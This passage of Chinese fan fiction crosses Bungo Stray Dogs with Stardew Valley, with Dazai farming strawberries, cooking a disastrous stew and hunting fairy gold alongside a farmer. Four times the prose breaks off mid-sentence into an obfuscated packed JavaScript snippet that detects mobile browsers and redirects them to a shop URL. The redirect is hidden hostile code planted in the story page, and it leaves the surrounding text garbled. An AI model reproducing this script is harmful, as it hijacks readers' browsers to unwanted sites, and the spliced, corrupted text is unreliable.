“我们的家现在有些乱,暂时不适合接待客人,麻烦你先带太宰先生四处逛逛,等我收拾好了再招待客人。” “好啊。” 青年点点头,转身走回了屋里,门刚关上没多久就又从里面开了一条缝。 艾利欧特从门缝里探出半张脸。他的头发从肩膀上滑下来,垂在身边,阻拦了任何一个可能窥视里面的角度。 “忘记说了,太宰先生如果中午还在的话,” 他的声音依然是温和的,甚至带着一点点笑意, “您愿意可以和我们一起用午餐。” 他笑了一下,然后门又关上了。 太宰治盯着那扇门看了两秒。 农场主捧着咖啡喝了一小口,然后看向身边的少年: “精力恢复——那就听艾利欧特的,跟我来,太宰君~” “嗯,好啊。” 太宰治收回视线,跟了上去。 他双手插在口袋里,步伐比来时慢了一些,一边听着农场主对这片土地的介绍一边打量着这里的建筑,视线最后落在她手里那杯还在冒热气的咖啡上。 “艾利欧特先生平时会陪你一起下田吗?” 他语气随意地开口。 农场主摇了摇头,咬了一口不知道从哪变出来的胡萝卜——大概是刚才从地里拔的。 “他不太喜欢农活,” 她嚼着胡萝卜,声音含混不清, “并且他最近在写新的稿子。” “哦。” 太宰治说,他在鹈鹕镇的这几天,从镇民的闲聊中已经拼凑出了那位文艺青年的基础情报。但知道归知道,不妨碍他根据此找话题, “他的稿子是写什么的?” “小说。” 农场主的眼睛亮了一下, “他写的小说很有趣,当初我随口说了一句喜欢的题材,之后他就真的按照那个题材写了小说,没想到反响还不错——过段时间他会去大城市里开始他的第一次巡回签售。” “这边很少有人会主动离开鹈鹕镇,没想到艾利欧特先生竟然算一个。” “他只是出门一周,又不是不回来,” 农场主噗嗤一声笑出来,真心为他的成功感到高兴, “那是他的心愿和抱负,现在实现了第一步,我为他感到由衷的高兴。” “最近节日很多,” 她摸了两把路过的奇奇怪怪的生物,又咬了一口胡萝卜, “他本来早就打算去城里的,但是节日太密集了,他想等一段没什么事的时间再去。” “农场主小姐不打算去吗?还是说艾利欧特先生没有打算带上你?” “我不会去的,我有这么大的农场要照顾呢,更何况我也不想离开鹈鹕镇。” 农场主在这个问题上回答的依旧很快。她张开手臂,在空气中划出一个大大的弧线,像是在拥抱整片田野, “说到这里,太宰君要来试试种田吗?我刚好还有不少农田没有收获。” 她抬起手,用力拍了拍少年的肩膀,太宰治只感觉整个人都被拍的下沉了几厘米, “就当是田野间的免费体验课了。” 太宰治无言地看着她按在自己黑色大衣上的灰扑扑的手印,沉默片刻,问出了一直以来好奇的问题: “为什么农场主小姐这么喜欢种田?” “因为很有意思?很有成就感?我也说不清楚,不过你想啊,” 农场主挥舞着手臂,想要竭力表达出那份感受, “把一枚完全看不出来是什么的种子种下,仔细观察,慢慢养成,最后生长成茁壮的模样。整个过程相当于自己在创造生命——不觉得很神圣吗?” 在谈论自己喜欢的事情时,她整个人都像是在发光。 创造,呵护,养成…… 不是抹除,抢夺,毁灭。 和他的工作截然相反。 如果用种植来比喻的话,他做过的事写成一本手册,大概每一页都写着“拔除”而不是“种植”。 鹈鹕镇的环境也和港口mafia截然相反。 他没接触过这个。 “我不会种地。” 太宰治说。 他的声音比平时轻了一些,像是在陈述一个与己无关的事实。 “真要种的话也养不活的。” “这有什么大不了的?不是什么难事,我来教你。” 农场主走过来,站在他旁边,眼睛弯起, “正好我昨天在复活节上又买了些草莓种子,你来帮我搭把手吧,成熟之后的草莓就当是给你的报酬,怎么样?” 草莓可是鹈鹕镇最受欢迎的作物之一,不管是直接吃还是做成加工品都很有市场。用草莓做报酬,在她看来,是一笔非常划算的交易。 太宰治还在犹豫,农场主已经一手从身后的口袋里掏出种子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471713|201516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一手强硬地伸过来,抓住他的手腕,将他的手翻过来,手指并拢,然后把那包种子塞进了他的手心。 “那就这么说好了,来,首先我们蹲下,我从挖坑开始教你——!” 太宰治低头看着手心那些干巴巴的种子,又抬起头,看向农场主。 农场主依旧是往日那副大大咧咧的样子,感受到他的目光后冲他笑了笑: “放心,我保证一定能长出来的!” 大不了等他走了她再重新种一遍。 好不容易找到一个愿意陪她种田的学生,可不能打击了对方的自信心! 农场主志得意满地想着,脸上的笑容又大了几分。 报酬。 结果。 奖品。 太宰治在心里把这几个词翻来覆去地嚼了几遍,努力说服自己,这也是调查的一环。其他人先前送的东西并没有带回横滨,也许只是缺少了委托的前提,并不是真正意义上完全属于他的东西。 但那顶草帽是“奖品”,是他通过自己的努力获得的、真正意义上属于他的东西。 也许要达成某种“付出-收获”的契约关系才行。 他确认般问了一遍: “那就是委托任务了?” “可以哦,” 农场主眨了眨眼,不理解但支持, “太宰君想要试试完成委托任务的感觉的话,我这就在公告栏发布任务。” 于是他们往返了一趟小镇广场。由农场主亲自扯了张纸写了一份委托贴在公告栏上,而太宰治负责撕下这张纸。 这还是太宰治生平第一次接下来自鹈鹕镇的委托,委托人是身边的农场主,委托内容是帮农场主种植草莓,而报酬是……草莓。 ……结果还是变成了曾经一度想象过的现状。 当太宰治学着对方的动作歪歪扭扭将一排种子都种好后,他盯着自己绷带上的泥巴和大衣后摆的黄土,神情有一瞬间的扭曲。 如果有小矮子或者其他熟悉的人在这里,绝对要把他嘲笑到死。他几乎都能想象出中原中也的声音。 但农场主毫不在意,甚至以异常热情的态度三百六十度无死角地夸赞他那新学的,连自己都觉得拙劣的模仿: “非常——不错!太宰君,我都没想到你表现会这么好!你在这方面简直是有天赋加成!怎么样,考不考虑之后和我一起学习种地啊?” 有天赋——难道指的是,农场主这位老师刚刚甚至是抓着他的手,一步一步教他挖坑、放种子、拍土,耐心得像一位幼儿园老师,这样完全靠人帮扶出来的“天赋”吗? “恕我拒绝,这样的经验有一次就已经足够了。” 太宰治站起身,他的腿有点麻——蹲太久了,膝盖发出一连串“咔咔咔”的声响,像是生锈的机器关节。 由远及近的,是从歪歪扭扭到逐渐笔直的种子排列。 他又问了一遍: “真的会发芽吗?” “会的,种子很聪明的。” 农场主条件反射性地回答,拍着胸脯信誓旦旦地保证, “不信的话你可以每天过来观察它们的生长情况,我保证——绝对不贪你收获的每一个草莓!” 这是草莓的事吗……不,还真是草莓的事。 太宰治的嘴角抽动了下,但意外的,心情反而比来之前要轻松了少许。 12. 农场主和活力清炖鸡 “兴趣?” 坂口安吾端着啤酒杯的手顿了一下,有些不解, “怎么突然提到了这件事?” Lupin的灯光还是一如既往地昏暗,太宰治把脸埋在手臂里,只露出一只鸢色的眼睛: “那当然是因为好奇心,好奇心啦,如果每天活在自己的兴趣里,是不是就会很有意思——每天都是工作,不觉得很无聊吗?” “就算你这么说,我的工作也已经繁忙到日常除了休息和上班以外,没有兴趣的余裕了。” 这位社畜语气中充斥着被社会磨平棱角的平静死感, “真要说的话,在这里喝酒就算是一种兴趣吧。” “好无趣啊,安吾,” 太宰治转了个头,无视对方在背后“这么无聊真是抱歉啊”的吐槽, “织田作呢?” “……我也一时想不起来什么。” 青年回答, “真要说的话,大概是小说。” “……小说。” 太宰治重复了一遍这个词。 “怎么了吗?” “不,没什么,完全没有。” 少年否认三连, “这种也不适合我啊,还是入水这样简单的爱好更合适。” 坂口安吾在一旁,还是没能忍住吐槽的欲望: “一般说兴趣爱好,都是偏向于有益身心健康的类型吧?” “那安吾有什么推荐吗?” 少年那张稚气未脱的面孔转向他, “事先说好围棋,象棋之类的,太无聊了,我拒绝。” “运动?” “听起来就很累。” 像是想到了什么,太宰治的眼神有些飘忽, “实际上我也讨厌体力活。” “那……读书,不对,料理,不行,音乐……算了。” 坂口安吾叹了口气,说出的选项自己都先否决了, “太宰君自己有喜欢的事吗?” “有的话就不会在这里问你了,” 太宰治想到什么,表情变了一下, “不过说起料理,我最近打算尝试做一块很硬的豆腐。” “为什么是豆腐?” “因为大家每次想到豆腐,不都会联想到软之类的词吗?偶尔不是也有人会说‘找块豆腐撞死得了’这种话吗?” 太宰治比划道, “所以我再次提出了天才性具有时代跨越性的设想——!” 他声音拔高了一个度, “我要做出一块比人脑袋还硬的豆腐!” “……” 一阵沉默无言。 坂口安吾看着太宰治,脸上的表情介于“你在说什么”和“我不想知道了”之间。他的嘴唇动了几下,像是在努力组织语言,但最终什么都没说出来。 织田作之助端着酒杯,平静地喝了一口: “会好吃吗,如果好吃的话,听起来还不错。” “我会努力的!朝着武器的方向!” “方向完全错了吧!织田作先生,你不要在这种地方纵容他。” 坂口安吾按住了额头, “这样下去他迟早会变本加厉的。” “安吾,残酷,过分——” 太宰治从高脚椅上跳下来,带着孩子气的笑容, “那就这么愉快的决定了,等我真的做出来,就第一个请你们俩吃!” “好啊,我很好奇。” “不,容我拒绝……” 坂口安吾有些胃疼, “上次的活力清炖鸡就已经够受了。我至今没能记起来那期间发生的事,实在不太想体验在那之上更刺激的东西。” 太宰治的眼睛亮了一下: “活力清炖鸡……啊,安吾,你真是个天才!” “不是,等等,你要做什么?!” 第二天。 “所以,你的意思是为了感谢我的照顾,但家里又没有厨房和食材,所以要亲自来我家为我做一顿饭?” 农场主坐在门廊边上,小腿一踢一踢的,好奇地听着对方的表述。 “嗯嗯,怎么样?” 太宰治越过那已经长出新芽,看上去长势不错的草莓苗,站在她面前,歪着头笑眯眯地问。 “没食材这种事是不是有点太写实了……可以啊。” 她嘀咕了一声,最后一句又特意放大了音量。 农场主以为昨天让太宰治帮忙种田,对方提出那属于“委托活动”,是因为NPC的逻辑设定,但现在听到这个请求又有些不确定了。 这不太像游戏里的NPC会做的事。 但说不准是触发了新的好感度剧情呢? 农场主抬起头,目光越过太宰治的肩膀,看向他的头顶上方。 那里什么都没有。 她能看到鹈鹕镇每一个人的好感度,但是不知道是不是mod不兼容或者系统的原因,又或许是她下载的时候漏掉了什么文件,她看不到太宰治的好感度,每次也只能是靠猜测来判断对方的攻略进展。 算了。 “请进,随意点就好。” 她打开房门,邀请对方进入。 太宰治第一次走进了农场主的房屋。 只是粗略看了一眼,他就发现里面的空间面积比在外面时目测的要大很多。里面沿着墙摆满了各式各样奇奇怪怪的摆件,这其中也包括前几天买到的那只粉红兔子。 ……考虑到对方的花钱倾向,大概都是什么限定吧。 太宰治找到厨房钻了进去,农场主围着他打了几个转,有些担心: “需要我帮忙打下手吗?” “不用啦,农场主小姐这个时候一般都在外面忙碌吧,就不拿这种小事打扰你了。” 他善解人意到了不可置信的地步。但农场主对此已经习以为常,因为少年在鹈鹕镇的形象确实如此。 于是她向对方挥挥手告别: “好啊,那如果有什么找不到的东西,可以去问艾利欧特,我先去忙了!” 门一关,整个房间就只剩下两个男人。沉默在那其中蔓延,太宰叮铃咣啷在厨房里搞着大动静,将乱七八糟的调料一股脑丢进锅里。 艾利欧特坐在窗边的那张桌子前,正专注地捧着一本书。 太宰治做好了前置准备,从厨房里探出头来: “能让我拜读一下艾利欧特先生的大作吗?听说农场主小姐也很欣赏呢。” 艾利欧特的目光从书页上抬起来: “太宰先生也喜欢读书吗?” “当然了。” 太宰治回答的毫不犹豫,完全不见在lupin的拒绝模样, “料理,劳作,读书……我都很喜欢呢。” “那不介意的话我送您一本,也请您读过后为我点评几句。” 艾利欧特温温柔柔地笑着, “当时只有农场主在鼓励我,这本书是特意为她而写的,没想到编辑和我说反响不错。” “我会认真拜读的。” 太宰治在他的视线转过来之前已经将锅盖盖好,闲聊一般问道, “艾利欧特先生之后会出去一周吧?” “是的,那会是我的人生第一次签售。” “农场主小姐一个人在家?我以为你会担心。” “农场主很少需要他人担心。其余的……” 艾利欧特还是那种温和的,不急不缓的语气,35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471714|201516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “虽然我也不想与农场主分别,但农场主更钟情于这片土地,因为我的事给她添麻烦的话,我也会内心愧疚的。” 高压锅发出呜呜的声音,提醒他料理已经结束。 太宰治伸手关了火: “好了。” “我去喊农场主回来。” 艾利欧特也站起身向外走去。 两人不约而同的结束了这个话题。 农场主被喊回来吃饭的时候正在小屋里忙着把新做的一排小桶码好,进门就闻到一股香气。 “哇。” 她有些惊讶,但毫不吝啬地给出了自己的赞美, “光是闻着我就感觉会很好吃。” 桌上摆着一盘色香味俱全的鸡肉,是那种光靠卖相可以让人食欲大动的类型。 太宰治一只手指向桌子上的食物,另一只手顺便帮她拉开了椅子,殷勤地不像话: “来尝尝看吧?” 农场主看了看艾利欧特,对方坐在另一边,冲她温和地笑着: “是太宰先生的心意,一起吃吧。” 她怀抱着隐隐约约的微妙不安坐下。 和卖相无关,单纯是因为这道料理并没有跳出相关的系统界面。 在鹈鹕镇,每一件物品在你拿到它的那一刻,都会在视野的角落里跳出一个小小的界面。 但和太宰治相关的事大多都是这样,他送的东西没有界面,他头上没有好感度提示,农场主也就暂时将这个念头放在一边,拿起筷子,夹了一块鸡肉,放进嘴里。 尝起来确实也和一般的食物没什么区别。 但是—— 农场主打开了自己的状态栏。 那里有一个她从未见过的异常状态图标,紫色的,一闪一闪的。 想了很久,农场主终于想起了被她早就遗忘在脑后的系统日志。 这次终于有了答案。 “您食用了‘活力清炖鸡·改’,精神状态异常。效果持续——七十二小时。” “怎么样怎么样?” 一旁的罪魁祸首还在追问。 农场主陷入了沉默,她放下筷子,尽量礼貌地回答: “谢谢,很美味。” 太宰治歪了歪头: “感想就这些吗?” “太宰君之前有做过料理吗?” “在这里还是第一次。” 农场主深吸一口气,有些生无可恋地计算着如果去哈维那里要花费多少金币: “如果可以的话,做的很好,下次不要再做了。” “有这么不好吃吗?” “不,是好吃的……另一种意义上的好吃。” 农场主声音开始变得有些飘忽,像素点在她余光里闪烁,逐渐铺满视野。 总感觉,星露谷已经出现乱码了。 坐在她对面的艾利欧特吃了两口,直挺挺地倒了下去。 只留下今日唯一的幸存者太宰治站在原地,一手摸着下巴,若有所思: “唔,改良过的活力清炖鸡比我想象中还要刺激啊。哈维医生——” 门被一把推开,他纯良地向闪现到农场的医生挥手, “这边这边,伤员两位哦~” 目视着两人被抬走,少年重新坐回了桌边,从衣服口袋中,掏出一个已经有些磨损的小册子。 “鹈鹕镇居民好感度指南”。 这是他刚刚趁拉凳子的空隙,从农场主身上拿到的,对他而言这种事简直是小菜一碟。 他翻开小册子。 随手打开就是最近常翻的页面。页角被折了一道,上面用荧光笔画了几条重点线。 最上方,整整齐齐地写着三个大字——“太宰治”。 13. 农场主和寻宝 太宰治 性别:男 年龄:??? 生日:??? 喜好:???(星之果茶) 讨厌:黑咖啡 日程记录: 周一早上七点出门下午三点在小镇广场晚上七点在家 周二…… 雨天行程:未知 备注: 可能喜欢甜的东西? 跳湖可能是***** 除了详细的记录着他的日程外,这页并没有什么值得关注的内容,只是备注后面的字完全看不清楚,稍微有点令人在意。 下面还画了一个小小的太宰治的简笔画——是一身黑衣服,还缠着蝴蝶结样式绷带的黑色卷发猫猫头。 旁边写着“可爱”两个字,然后被划掉了,改成了“好难搞”,然后又划掉了,改成了“需要努力!!!” 太宰治扫了一眼那完全和本人事实不符的评价,将本子翻到了最前面,开始一页一页翻阅。 夜晚。 痛失两千金币的农场主有气无力地将铱星松露一股脑地丢进回收箱。 异常状态的标识已经消除了,但那股整个精神世界都为之震撼的冲击还残余在脑海最深处,以至于农场主放弃了今天的大多数预定事项。 她拖着疲惫的精神回到房间,在书柜边找到了自己今天一直处于遗失状态的小本本,刚要放进口袋里,又想起了系统日志。 系统日志这种东西平时不注意,关键时候还是能看出关键问题,就比如说今天面对那道神奇的菜的时候。 她有些好奇自己是什么时候把东西丢掉的。 然后农场主愣住了。 …… 12:45“太宰治拿走了你的物品” 12:50“食用了活力清炖鸡·改” 13:00“哈维医生对你使用了急救” 16:55“太宰治归还了你的物品” …… 农场主眨了眨眼,盯着那两行字翻来覆去地看了几遍。 夜色昏暗,那位少年早就离开了农场,屋内只剩下安静坐在床边的艾利欧特。 “呐,艾利欧特,你有没有觉得太宰治这个角色mod的自由度有些过高了?” 农场主声音不高,像是在自言自语, “我都有点好奇他的作者到底是怎么做出来的了。” 她名义上的丈夫没有说话,甚至仿佛没有听到这句话一样,过了一会,他才转过头,微笑着对农场主说: “今天已经很晚了,我们该睡了。” 农场主也不觉得惊讶。她只是静静地凝视着面前青年的面庞,笑了笑: “你说的对,再不睡就只能恢复一半体力了。” “唔……为了明天也能好好种地,晚安,艾利欧特。” “晚安,农场主。” 灯灭了。 两点强制入睡是鹈鹕镇特有的规则。 但农场主看着离强制规定还有五分钟的时间点,突然想起了另一件事。 她在意识内打开n网。最近半个月新发布的mod数量突然多了起来,而他们的作者名字也各有各的奇怪。 “port mafia” “异能特务科” “军警” “死鼠之屋” …… 每一个作者名下都挂着几个mod。农场主点进去看了看—— “port mafia”的页面里,除了太宰治之外,还有十几个其他角色。 但那些角色的制作质量……怎么说呢……和太宰治完全不在一个水平线上。 全是黑西装大汉。 模模糊糊的建模,千篇一律的大众脸,没有背景故事,没有喜好设定,只有黑衣ABC这种名字在那里挂着,赶工痕迹明显到让人怀疑作者是不是在截止日期前五分钟才开始做的。 而太宰治——优异的建模,多变的表情,新鲜的接触事件,极大的自由度,独立的对话系统,甚至完全看不到的好感度机制…… 和那些黑西装相比简直是精修和泥点子一甩的云泥之别。 农场主盯着屏幕上“port mafia”这个名字,陷入了沉思。 在晚睡前的最后一分钟,她做了个决定。 她点开了“port mafia”的作者主页,然后戳了一下那个“关注”按钮。 屏幕上的“关注”变成了“已关注”。 万一,她是说万一,对方还愿意做一个这样精细的mod出来呢?不管“port mafia”这个账号的皮下是个人还是团队,至少他们有能力做到这件事。 如果点击了关注,也许他们会更有动力做下一个。 在意识消失前的最后一秒,农场主这么想到。 横滨。 后山的浓雾开始缓缓升起,仿佛活物般聚拢,呼吸。但那山间空无一人,没有人看到这浓雾升起的景象。 最终,浓雾又缓缓收缩,只包裹着神社的部分,浓到不见天日。 然后,一切归于寂静。 第二天的鹈鹕镇,依旧是整天的好天气。 农场主一大早就在农场内看到了太宰治。少年听到门口的动静,从那片草莓田里直起腰: “早上好,农场主小姐,我是来……” “我记着呢,今天要带你去寻宝,” 农场主招呼他,依然是毫无阴霾的笑容, “不过不着急,你应该没吃早饭吧?一起用过早餐再出发吧。” 太宰治本来准备好的那些关心对方身体和道歉的话全部都被堵在嘴边,不上不下。 他就这样被农场主拉到餐桌按在椅子上。艾利欧特和他温和地打了个招呼,不多时,桌上便摆满了南瓜汤,烤面包,煎蛋一类丰富的早点。 “昨天的事……” 太宰治有些迟疑该不该开口。在座的两人似乎都没把那件事放在心上,农场主将抹好黄油的面包递给他, “没事,在哈维医生的治疗下已经完全好了。不用道歉,你也是第一次做料理,又不是故意的。” 温馨的木屋,热气腾腾的早点,带着甜味的烤面包,还有轻松的氛围。 鹈鹕镇似乎一直都这样包容又友好。 但那对谁都一视同仁吗? 太宰治冷不丁地开口: “如果我真是故意的呢?” 隐约的,从那裂开的面具缝隙中,露出了一点他的真实性格。 农场主嚼面包的动作停了一下,想了想,发自内心地敬佩他: “那你能做成那样色香味俱全,也蛮有天赋的。” 那些内心的黑暗瞬间被堵了回去,太宰治发出了被噎到一般的呛声。 “不过……昨天你是不是有看到我那个本子,我是说之前给你看过的那个。” 农场主在犹豫了很久之后还是选择问出了声。 太宰治打量着她的神情,直觉对方应该是通过某种他不清楚的办法得知了这件事。那刚刚被塞回去的黑泥没能继续冒出来,太宰治依旧是那个温和好脾气的少年: “抱歉,看到了,因为我实在很想和其他人打好关系……农场主小姐生气了吗?” 看着对方如此纯良无辜的表情,农场主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471715|201516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实在没好意思对这张脸说出什么重话: “不,没什么,只是还是第一次被其他人查阅,稍微有些……算了,如果你之后还想要的话,到时候直接找我借就行。” 太宰治低下头,在面包的掩饰下,嘴角不明显的弯了弯。 吃过早饭后,农场主招呼着他,向他居住的小屋方向那边走去。 “我们现在要去哪里?” “嗯……我记得是湖的南边,靠近瀑布的地方。” 农场主回头看了一眼他,露出神神秘秘的笑容, “今天会看到很好看的景色哦。” 他们经过了太宰治的湖边小屋,继续向南出发。 “太宰之前来过这边吗?” 穿过树林,农场主一边带路,一边给他介绍, “这里没什么住民,法师在西边的法师塔内,我们要去的地点旁边有家帽子店,其他地方就没有住民了。” “所以这一片基本上没人来?” 太宰治问道。 “对,平常我会来这边砍树……啊,我们到了。” 他们穿过最后一片树林,眼前豁然开朗。 一道白色的水帘从落差处倾泻而下,砸在下面的水潭里,发出轰鸣般的声响。水雾从台面上升起,在阳光的照射下形成了一道淡淡的,低矮的彩虹。 在阳光的折射和水汽的氤氲下,仿佛彩虹的两端都落在陆地之上。 农场主站在太宰治旁边,没有看他,目光落在那道彩虹上,微微笑了起来: “很美丽,对吧?” 那双鸢色的眼睛里,有什么东西在微微闪动。像是阳光在水面折射的倒影,又像是别的什么东西。 过了许久,他的视线终于从那里移开,看向彩虹落点边的草地上放着的普通布袋。 农场主示意他前去查看。 “里面有两百金币,还有顶帽子,” 太宰治翻了一圈,回过头, “这就是宝物了吗?” “不,这是考验。” 农场主严肃地绷着脸, “既然你已经清点过了,现在——后退,我们可以离开啦。” “嗯?” 太宰治发出了一个疑惑的尾音。 “这是妖精们对拾金不昧的好孩子的奖励。” 农场主摇头晃脑地给他讲起了童话故事, “传说中,在每年春天的十七日,妖精们会在瀑布旁边放一个钱袋。如果你看到了这个袋子,但不去拿走里面的东西,忍住诱惑,把它原封不动的留在原地,那么——等你第二天再来的时候……” 她顿了顿,卖了个关子。 “更多?” 太宰治配合地问道。 “是的,你会获得十倍的收益!” 农场主张开双臂,带着毫不掩饰的喜悦。 “哇。” 太宰治继续配合性地在一旁捧哏。 “这下你就暂时不会因为金币的问题发愁啦。” 农场主拍了拍手,表示今天的冒险到此结束, “我去年就是这么发家……不是,这么获得自己的第一桶金的,现在的我已经实现半财富自由,” 她清了清嗓子,挺起胸脯, “今年我就把这个秘密交给你了!” 农场主说完笑嘻嘻地转头,朝来时的路走去,她的马尾辫在身后一晃一晃的,步伐轻快的像踩在云朵上。 太宰治走在她身后,看着那一晃一晃的辫子,听着她哼着不知什么名字的歌,鼻尖是松脂和水汽的清新。 不知不觉间,他嘴角勾起了一抹浅淡却真实的笑意。 14. 农场主和金币 “所以,太宰,这就是你观察了这些天得出来的结论吗?” 森鸥外坐在厚重的办公桌后,双臂置于桌上,十指交叉,手肘抵在深色的木质桌面上,眼神中带着浓重的审视意味, “‘仅仅是个普通人’。” “我的报告写的应该是——目前观察,‘只是个普通的农民,对组织没有威胁,暂时没有利用价值。’” 少年双手插在风衣口袋里, “以及,‘正在继续调查,接近目标,已经获得初步信任。’” 森鸥外沉默了片刻: “你对目标有什么看法?” “可以放长线观察。按现在她频繁送我礼物和我打交道的频率,等时机成熟,我就能从她嘴里套出更多关于那个世界的情报。” 太宰治敷衍地回答, “都怪森先生时间给的太短了,怎么可能这么快就得到答案呢?再怎么说,那也是另一个只有我独自一人孤军奋战的世界啊——” 首领在一堆废话文学中抓住了华点: “不是你在主动和农场主打好关系吗?为什么她会经常送你东西,太宰君?” 只是因为她是个笨蛋而已。 但少年开口时,说出的话是: “这难道不是森先生的命令吗?去接近对方,深入调查……” 他掰着手指头数, “我可是遵循着森先生的命令,每天都顶着对方丈夫刺眼的注视——努力和那位农场主小姐打好关系呢。” 他加重了“刺眼”这个词的语气,像是自己完全是出于工作需要而被迫忍受苦难一般。 森鸥外震撼。 虽然在□□的世界里,道德、伦理甚至血缘都要比一般人的世界淡薄很多。背叛是常态,欺骗是手段,利用是规则。但这也并不代表,当他听到他的弟子这么说的时候,还能保持面无表情。 “我当初是这个意思吗?” 他的声音里有一种少见的困惑。 “难道不是吗?” 太宰治反将一军, “森先生没有在脑海中考虑过这个手段吗?” 那肯定也是想过的。在最优解面前,无论怎样卑劣的手段都不重要,但太宰治理直气壮的语气让森鸥外觉得这是他明确下达的指令一样。 森鸥外很疲惫地挥了挥手。 他现在看到太宰治那张无辜的、纯良的、让人挑不出毛病的小白花一样的脸,只有心情复杂,迫不及待想结束这个话题: “我知道了……虽然觉得不太可能,但别在探查到情报之前被人家的原配打出去,太宰君。” “那也都是森先生的错。” 合理化着自己的行为,太宰治呛了他最后一句,慢吞吞离开了首领办公室。 森鸥外坐在办公桌后,看着那扇已经关上的门,久久没有动。 他的手指还在桌面上轻轻敲着,这是他在思考时惯用的动作。 他感觉。 太宰治比之前,比调查前——要活泼了很多。是那个世界潜移默化的影响吗? 能舒缓精神,心情变好的世界…… 森鸥外望向窗外,注视着这座他深爱的,混乱的港口城市。 那个被统称为星露谷的地方,应该和这里截然不同吧。 第二天的鹈鹕镇,依旧是整天的好天气。 太宰治醒得比平时更早。湖面上的薄雾还没有散尽,森林还笼罩在一层灰色的纱里,他已经站在了瀑布旁边。 那个布袋还在原地,像是从来没有被人动过。 他走过去,蹲下来,打开布袋。 两千枚金币。 金灿灿的、沉甸甸的、在晨光中闪着温暖光芒的两千枚金币,满满地塞了一袋,几乎要把袋子撑裂开。太宰治把金币在掌心里掂了掂,发出清脆的、金属碰撞的叮当声。 十倍。 她说的没错。 以至于袋子重到提起来的时候肩膀都下沉了些许。 一键暴富的太宰治将金币先运到了自己的房屋内,随后就朝农场的方向轻车熟路地走去。错身躲过满院子刨松露的猪和找草吃的牛,他最后在鸡舍找到了农场主。 农场主正蹲在鸡舍的角落里,将每日的收获一个个捡起来,放进篮子里。她嘴里哼着那首不知道什么名字的欢快曲调,和鸡舍里母鸡的咕咕声混在一起,形成了奇怪又莫名和谐的二重奏。 太宰治靠在门框上,看了她一会,直到对方察觉到光线被挡住,转头看过来,他才打了个招呼: “早上好。” 农场主看到他眼睛亮了一下: “早上好!没想到连续两天都能在农场看到你!” 她看起来比想象中还要高兴。 太宰治把口袋里的几枚金币——那是他从那两千枚里特意拿出来放在口袋里的,拎起来在她面前晃了晃: “我来还愿。” 农场主眼睛弯起,把鸭毛之类的东西收好,向他走去: “太好了!这下你暂时不用为金币发愁了。” 太宰治看着她,嘴角弯了一下。 “是啊。” 他说, “托你的福。” 农场主摆了摆手,表示“这点小事不值一提”。 她把蛋丢进蛋黄酱机,又把鸭毛收进箱子里,才拍了拍手上的灰,看向太宰治: “既然你来了,要不要去看看你的草莓?” 他们走过那片草莓田。 那些种子已经长高了些,它们因为种植者没有经验,排成了显眼的,歪歪扭扭的一行,但每一颗都活下来了。 太宰治蹲下来,伸出手,用指尖轻轻地碰了一下其中一株的叶子。 那些曾经灰扑扑的,脆弱到感觉连一场大雨都可能冲走的种子,现在已经长成了富有生命力的嫩绿色小苗,它们安静地站在泥土里,沐浴着晨光,呼吸着清晨的空气。 他还真的种出来了。 少年的指尖在那片叶子上停留了一瞬,很快缩了回来,像是担心简单的触碰会伤害到它。 “活了。” 他声音很轻,轻到像是在自言自语。 “当然活了。” 农场主蹲在他旁边,双手撑在膝盖上,看着那排嫩芽,脸上带着一种老师看到学生考试及格时的欣慰表情, “我说过,种子很聪明的。” 太宰治侧过头看了她一眼。她的侧脸在晨光中显得格外柔和,嘴角挂着一个浅浅的笑,不是对他,而是对着那些草莓苗。 太宰治收回视线,低下头,又看了一眼那些嫩芽。 “它们大概什么时候能结果?” “很快,” 农场主掰着手指头算了算, “大概还有四五天吧。第一轮会慢一点,之后四天就能收一轮了,到时候你来吗?” 他顿了顿: “来。” “那就这么说定了。” 农场主站起来,拍了拍膝盖上的土,自然地邀请他, “走吧,该吃早饭了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471716|201516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 太宰治站起来,跟在她身后,朝木屋的方向走去。 晨光落在他们身上,把两个人的影子拉得长长的,投在田埂上,一前一后。太宰治低头,看着自己的影子。 